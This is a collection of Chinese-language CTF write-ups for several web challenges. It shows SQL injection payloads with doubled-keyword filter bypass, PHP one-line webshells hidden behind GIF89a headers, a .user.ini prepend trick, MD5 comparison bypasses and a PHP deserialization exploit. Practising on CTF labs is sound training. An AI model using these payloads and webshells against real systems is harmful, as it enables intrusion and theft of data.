[极客大挑战 2019]BabySQL
先尝试万能密码报错,然后发现存在waf过滤了好多关键字,比如or, select,where, union。应该是用函数replace给我们替换成了空白字符
因此只能靠联合查询来进行判断
?username=admin&password=admin' uunionnion sselectelect 1,2,3%23
出现回显
Hello 2!
Your password is '3'
现在开始查表
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23
发现存在两个表
b4bsql,geekuser
再查字段
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23
发现三个字段
id,username,password
然后开始爆破数据
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23
拿到flag
flag{6850c17d-4853-4d25-8a8d-844239f20329}
[极客大挑战 2019]LoveSQL
尝试万能密码,登录成功,观察url是get方式在传参,开始测试直到order by 4报错,说明有三个字段,接着找注入点
?username=1' union select 1,2,3%23&password=ads
发现2和3都是而且没过滤
?username=1' union select 1,database(),3%23&password=ads
得到数据库名:geek!
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
得到表名geekuser,l0ve1ysq1
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
得到字段名id,username,password
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
flag{34051198-4699-460b-bdf1-732d22594df3}
[ACTF2020 新生赛]Upload
首先尝试上传php的一句话木马,发现有前端验证,使用burp修改为png尝试绕过,发现后端还有验证,使用.phtml进行绕过,使用GIF89a头防过滤
GIF89a
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>
burp回显给出上传到的地址
访问/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml得到flag
flag{3667cb31-3517-4b67-8513-2731ce9d2279}
[BJDCTF2020]Easy MD5
抓包发现
Hint:select * from 'admin' where password =md5($pass,ture)
看了大佬的博客这里可以用ffifdyop满足条件
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
进入下一关查看源码发现
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
用数组绕过,payload
?a[]=1&b[]=2
进入下一关
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
典型的md5碰撞,还是用数组绕过
param1[]=1¶m2[]=2
flag{64bd4d41-6222-4ac8-acb1-0d3f8e3363fc}
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先看有没有魔术方法
**__construct() ** 实例化对象时被调用
__destruct() 当删除一个对象或对象操作终止时被调用
进行代码审计
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
满足对象op=2,执行read读的操作
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
满足content<100,即可绕过
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
利用ord函数 返回 "S" 的 ASCII值 s为字符串类型 S为16进制字符串数据类型,绕过方式%00转换为\00即可绕过
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
将str参数放入到自定义函数is_valid里面进行反序列化操作
构造payload
<?php
class FileHandler {
protected $op = 2;
protected $filename ='flag.php';
//题目中包含flag的文件
protected $content;
}
$bai = urlencode(serialize(new FileHandler));
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\\00",$bai);
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao
//打印结果
?>
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
查看源码得到flag
flag{8f87cbd5-428b-42b8-8534-a80b463d4609}
[SUCTF 2019]CheckIn
上传含有一句话木马的 jpg、png、gif 图片均回显 <? in contents,
<script language=php>eval($_POST['1']);</script>
成功过滤<? ,发现题目还用exif_imagetype() 函数 对上传文件后缀进行了限制,那么在前面加上GIF89a头进行绕过
GIF89a
<script language=php>eval($_POST['1']);</script>
由于无法解析再上传一个user.ini
GIF89a
auto_prepend_file=b.gif
然后即可rce拿到flag
[ACTF2020 新生赛]BackupFile
dirsearch扫出来index.php.bak下载下来
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
由于if(!is_numeric($key))这一步会只保留数字,而且后面是弱类型比较,当字符串和数字进行比较的时候会只保留字符串的数字部分进行比较,那么$str的值就为123,那么当key=123的时候即可通过
?key=123
flag{d4b259ef-6432-4c6c-be5a-ef59414ee189}